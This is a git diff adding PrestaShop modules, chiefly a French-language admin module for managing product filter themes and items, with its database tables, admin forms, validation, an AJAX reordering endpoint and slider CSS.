http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefaq/upgrade/install-1.2.1.php b/modules/devspefaq/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspefaq/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspefiltreproduit/ajax_devspefiltreproduit.php b/modules/devspefiltreproduit/ajax_devspefiltreproduit.php new file mode 100755 index 0000000..9cd3eac --- /dev/null +++ b/modules/devspefiltreproduit/ajax_devspefiltreproduit.php @@ -0,0 +1,70 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspefiltreproduit.php'); + +$context = Context::getContext(); +$home_filtrer = new devspefiltreproduit(); +$filtres = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_filtrer->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updatefiltresPosition' && Tools::getValue('filtres')) +{ + + $filtres = Tools::getValue('filtres'); + + foreach ($filtres as $position => $id_filtre) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspefiltreproduit_item` SET `position` = '.(int)$position.' + WHERE `id_filtre_item` = '.(int)$id_filtre + ); + + } + + $home_filtrer->clearCache(); +} +if (Tools::getValue('action') == 'updatefiltresThemePosition' && Tools::getValue('filtres')) +{ + + $filtres = Tools::getValue('filtres'); + + foreach ($filtres as $position => $id_filtre) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspefiltreproduit_theme` SET `position` = '.(int)$position.' + WHERE `id_filtre_theme` = '.(int)$id_filtre + ); + + } + + $home_filtrer->clearCache(); +} + + diff --git a/modules/devspefiltreproduit/bx_styles.css b/modules/devspefiltreproduit/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspefiltreproduit/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspefiltreproduit/devspefiltreproduit.php b/modules/devspefiltreproduit/devspefiltreproduit.php new file mode 100755 index 0000000..cb8e930 --- /dev/null +++ b/modules/devspefiltreproduit/devspefiltreproduit.php @@ -0,0 +1,993 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspefiltreproduit/filtreItem.php'); +include_once(_PS_MODULE_DIR_.'devspefiltreproduit/filtreTheme.php'); + +class devspefiltreproduit extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspefiltreproduit'; + + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion du filtre produits'); + $this->description = $this->l('Administrer les filtres des produits'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('top') && $this->registerHook('actionShopDataDuplication')) + { + $res = $this->createTables(); + + return $res; + } + return false; + } + + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspefiltreproduit_WIDTH'); + // $res &= Configuration::deleteByName('devspefiltreproduit_HEIGHT'); + // $res &= Configuration::deleteByName('devspefiltreproduit_SPEED'); + // $res &= Configuration::deleteByName('devspefiltreproduit_PAUSE'); + // $res &= Configuration::deleteByName('devspefiltreproduit_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* filtres */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit` ( + `id_filtre_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_filtre_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit_liaison` ( + `id_filtre_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_product` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_filtre_item`, `id_product`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* filtres configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit_item` ( + `id_filtre_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `id_theme` int(11) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_filtre_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* filtres lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit_item_lang` ( + `id_filtre_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + + PRIMARY KEY (`id_filtre_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + /* filtres configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit_theme` ( + `id_filtre_theme` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_filtre_parent` int(10) unsigned NOT NULL, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_filtre_theme`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* filtres lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspefiltreproduit_theme_lang` ( + `id_filtre_theme` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + + PRIMARY KEY (`id_filtre_theme`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $filtres = $this->getItemsfiltre(); + foreach ($filtres as $filtre) + { + $to_del = new filtreItem($filtre['id_filtre']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspefiltreproduit`, `'._DB_PREFIX_.'devspefiltreproduit_item`, `'._DB_PREFIX_.'devspefiltreproduit_item_lang`, `'._DB_PREFIX_.'devspefiltreproduit_theme`, `'._DB_PREFIX_.'devspefiltreproduit_theme_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'

          '; + + /* Validate & process */ + if (Tools::isSubmit('submitfiltre') || Tools::isSubmit('delete_id_filtre') || + Tools::isSubmit('submittheme') || Tools::isSubmit('delete_id_theme') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addfiltre') || (Tools::isSubmit('id_filtre') && $this->filtreExists((int)Tools::getValue('id_filtre')))) + $this->_displayAddItemForm(); + elseif (Tools::isSubmit('addtheme') || (Tools::isSubmit('id_theme') && $this->filtreThemeExists((int)Tools::getValue('id_theme')))) + $this->_displayAddThemeForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* THEME filtre */ + + $filtres = $this->getItemsTheme(); + + $this->_html .= '

          '; + + /* Begin fieldset filtres */ + $this->_html .= ' +
          + '.$this->l('Gestion des thèmes').' + + + '.$this->l('Ajouter un thème').' + + '; + + /* Display notice if there are no filtres yet */ + if (!$filtres) + $this->_html .= '

          '.$this->l('Aucun thème créé').'

          '; + else /* Display filtres */ + { + $this->_html .= ' +
          +
            '; + foreach ($filtres as $filtre) + { + $this->_html .= ' +
          • '; + if($filtre['id_filtre_parent']==0) + $this->_html .= 'Thème '.$filtre['id_theme'].' : '.$filtre['title'].""; + else + $this->_html .= 'Thème '.$filtre['id_filtre_parent'].' > Thème '.$filtre['id_theme'].' : '.$filtre['title']; + + $this->_html .= ' +

            '. + $this->displayStatus($filtre['id_theme'], $filtre['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + + + + /* ITEMS filtre */ + + /* Gets filtres */ + $filtres = $this->getItemsfiltre(); + + $this->_html .= '

          '; + + /* Begin fieldset filtres */ + $this->_html .= ' +
          + '.$this->l('Gestion des filtres').' + + + '.$this->l('Ajouter un filtre').' + + '; + + /* Display notice if there are no filtres yet */ + if (!$filtres) + $this->_html .= '

          '.$this->l('Aucun idem créée').'

          '; + else /* Display filtres */ + { + $this->_html .= ' +
          +
            '; + foreach ($filtres as $filtre) + { + $this->_html .= ' +
          • + Thème '.$filtre['id_theme'].' : '.$filtre['title'].' +

            '. + $this->displayStatus($filtre['id_filtre'], $filtre['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + + private function _displayAddItemForm() + { + /* Sets filtre : depends if edited or added */ + $filtre = null; + if (Tools::isSubmit('id_filtre') && $this->filtreExists((int)Tools::getValue('id_filtre'))) + $filtre = new filtreItem((int)Tools::getValue('id_filtre')); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'title¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + // $this->_html .= ' + //
          + // 1 - '.$this->l('Téléchargez votre image').''; + // /* Image */ + // $this->_html .= '
          '; + // foreach ($languages as $language) + // { + // $this->_html .= '
          '; + // $this->_html .= ''; + // /* Sets image as hidden in case it does not change */ + // if ($filtre && $filtre->image[$language['id_lang']]) + // $this->_html .= ''; + // /* Display image */ + // if ($filtre && $filtre->image[$language['id_lang']]) + // $this->_html .= ''; + // $this->_html .= '
          '; + // } + // $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + // /* End Fieldset Upload */ + // $this->_html .= '


          '; + + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('addfiltre')) /* Configure legend */ + $this->_html .= ' 1 - '.$this->l('Ajouter un filtre de produit').''; + elseif (Tools::isSubmit('id_filtre')) /* Edit legend */ + $this->_html .= ''.$this->l('Modifier le filtre').''; + /* Sets id filtre as hidden */ + if ($filtre && Tools::getValue('id_filtre')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + $themes=$this->getItemsTheme(null); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + /* Form content */ + + + /* Form content */ + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + /* Description */ + $this->_html .= ' +
          + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

          '; + + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$filtre->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$filtre->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
          '; + } + private function _displayAddThemeForm() + { + /* Sets filtre : depends if edited or added */ + $filtre = null; + if (Tools::isSubmit('id_theme') && $this->filtreThemeExists((int)Tools::getValue('id_theme'))) + $filtre = new filtreTheme((int)Tools::getValue('id_theme')); + // print_r($filtre); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'title'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::getValue('addtheme')) /* Configure legend */ + $this->_html .= ' '.$this->l('Ajouter un thème').''; + elseif (Tools::getValue('id_theme')) /* Edit legend */ + $this->_html .= ' '.$this->l('Modifier le thème').''; + /* Sets id filtre as hidden */ + $id_filtre=0; + if ($filtre && Tools::getValue('id_theme')){ + $id_filtre=$filtre->id; + $this->_html .= ''; + } + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + $themes=$this->getItemsTheme(null,true); + // print_r($themes); + $les_themes=''; + + /* theme parent */ + $this->_html .= '
          '; + $this->_html .= '
          '.$les_themes.'
          '; + $this->_html .= '


          '; + /* Form content */ + + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$filtre->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$filtre->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs obligatoire').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_filtre'))) + $errors[] = $this->l('Invalid filtre'); + } + /* Validation for filtre */ + elseif (Tools::isSubmit('submitfiltre')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_filtre')) || (Tools::getValue('active_filtre') != 0 && Tools::getValue('active_filtre') != 1)) + $errors[] = $this->l('Invalid filtre state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid filtre position'); + /* If edit : checks id_filtre */ + if (Tools::isSubmit('id_filtre')) + { + if (!Validate::isInt(Tools::getValue('id_filtre')) && !$this->filtreExists(Tools::getValue('id_filtre'))) + $errors[] = $this->l('Invalid id_filtre'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('Label obligatoire'); + // if (Tools::strlen(Tools::getValue('description_'.$id_lang_default)) == 0) + // $errors[] = $this->l('Description obligatoire'); + // if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + // $errors[] = $this->l('The image is not set.'); + // if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + // $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_filtre') && (!Validate::isInt(Tools::getValue('delete_id_filtre')) || !$this->filtreExists((int)Tools::getValue('delete_id_filtre')))) + $errors[] = $this->l('Invalid id_filtre'); + + elseif (Tools::isSubmit('submittheme')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_theme')) || (Tools::getValue('active_theme') != 0 && Tools::getValue('active_theme') != 1)) + $errors[] = $this->l('Invalid theme state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid theme position'); + /* If edit : checks id_theme */ + if (Tools::isSubmit('id_theme')) + { + if (!Validate::isInt(Tools::getValue('id_theme')) && !$this->filtreExists(Tools::getValue('id_theme'))) + $errors[] = $this->l('Invalid id_theme'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The description is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('Nom du thème obligatoire'); + + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_theme') && (!Validate::isInt(Tools::getValue('delete_id_theme')) || !$this->filtreThemeExists((int)Tools::getValue('delete_id_theme')))) + $errors[] = $this->l('Invalid id_theme'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_filtre')) + { + $filtre = new filtreItem((int)Tools::getValue('id_filtre')); + if ($filtre->active == 0) + $filtre->active = 1; + else + $filtre->active = 0; + $res = $filtre->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes filtre */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_theme')) + { + $filtre = new filtreTheme((int)Tools::getValue('id_theme')); + if ($filtre->active == 0) + $filtre->active = 1; + else + $filtre->active = 0; + $res = $filtre->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes filtre */ + elseif (Tools::isSubmit('submitfiltre')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_filtre')) + { + $filtre = new filtreItem((int)Tools::getValue('id_filtre')); + if (!Validate::isLoadedObject($filtre)) + { + $this->_html .= $this->displayError($this->l('Invalid id_filtre')); + return; + } + } + else + $filtre = new filtreItem(); + /* Sets position */ + $filtre->position = (int)Tools::getValue('position'); + $filtre->id_theme = (int)Tools::getValue('id_theme'); + /* Sets active */ + $filtre->active = (int)Tools::getValue('active_filtre'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $filtre->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + $filtre->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + // /* Uploads image and sets filtre */ + // $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + // $imagesize = array(); + // $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + // if (isset($_FILES['image_'.$language['id_lang']]) && + // isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($imagesize) && + // in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + // in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + // { + // $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + // $salt = sha1(microtime()); + // if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + // $errors[] = $error; + // elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + // return false; + // elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + // $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + // if (isset($temp_name)) + // @unlink($temp_name); + // $filtre->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + // } + // elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + // $filtre->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_filtre')) + { + if (!$filtre->add()) + $errors[] = $this->displayError($this->l('The filtre could not be added.')); + } + /* Update */ + elseif (!$filtre->update()) + $errors[] = $this->displayError($this->l('The filtre could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_filtre')) + { + $filtre = new filtreItem((int)Tools::getValue('delete_id_filtre')); + $res = $filtre->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('filtre deleted')); + } + elseif (Tools::isSubmit('submittheme')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_theme')) + { + $filtre = new filtreTheme((int)Tools::getValue('id_theme')); + if (!Validate::isLoadedObject($filtre)) + { + $this->_html .= $this->displayError($this->l('Invalid id_theme')); + return; + } + } + else + $filtre = new filtreTheme(); + /* Sets position */ + $filtre->id_filtre_parent = (int)Tools::getValue('id_filtre_parent'); + + $filtre->position = (int)Tools::getValue('position'); + /* Sets active */ + $filtre->active = (int)Tools::getValue('active_theme'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $filtre->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_theme')) + { + $filtre->add(); + // $errors[] = $this->displayError($this->l('Le thème ne peut être créé')); + } + /* Update */ + elseif (!$filtre->update()) + $errors[] = $this->displayError($this->l('Le thème n\'a pas été modifié')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_theme')) + { + $filtre = new filtreTheme((int)Tools::getValue('delete_id_theme')); + $res = $filtre->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Thème supprimé')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submittheme') && Tools::getValue('id_theme')) + $this->_html .= $this->displayConfirmation($this->l('Thème updated')); + elseif (Tools::isSubmit('submittheme')) + $this->_html .= $this->displayConfirmation($this->l('Thème added')); + } + + private function _prepareHook() + { + global $smarty; + $id_lang = $this->context->language->id; + $sql=' + SELECT + th.`id_filtre_theme` as id_theme, + thl.`title` as theme_name, + f.`id_filtre_item` as id_filtre, + fl.`title` as filtre_name + + FROM '._DB_PREFIX_.'devspefiltreproduit_theme th + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_theme_lang thl ON (th.id_filtre_theme = thl.id_filtre_theme) + + + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item f on(f.id_theme=th.id_filtre_theme) + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item_lang fl on(f.id_filtre_item=fl.id_filtre_item) + + + WHERE thl.id_lang = '.(int)$id_lang.' + and fl.id_lang = '.(int)$id_lang.' + ORDER BY th.position,f.position + + '; + $productFiltres=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $smarty->assign('productFiltres', $productFiltres); + + return true; + } + + public function hookTop() + { + if(!$this->_prepareHook()) + return; +// echo "test"; +// die(); + // Check if not a mobile theme + /* + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxfiltrer.min.js'); + $this->context->controller->addCSS($this->_path.'devspefiltreproduit.css'); + $this->context->controller->addJS($this->_path.'js/devspefiltreproduit.js'); + return $this->display(__FILE__, 'devspefiltreproduit.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + // $this->_clearCache('devspefiltreproduit.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspefiltreproduit (id_filtre_item, id_shop) + SELECT id_filtre_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspefiltreproduit + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'filtres configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspefiltreproduit_item` hss, `'._DB_PREFIX_.'devspefiltreproduit` hs + WHERE hss.`id_filtre_item` = hs.`id_filtre_item` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + public function getNextPositionTheme() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` hss' + ); + + return (++$row['next_position']); + } + + public function getItemsfiltre($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT 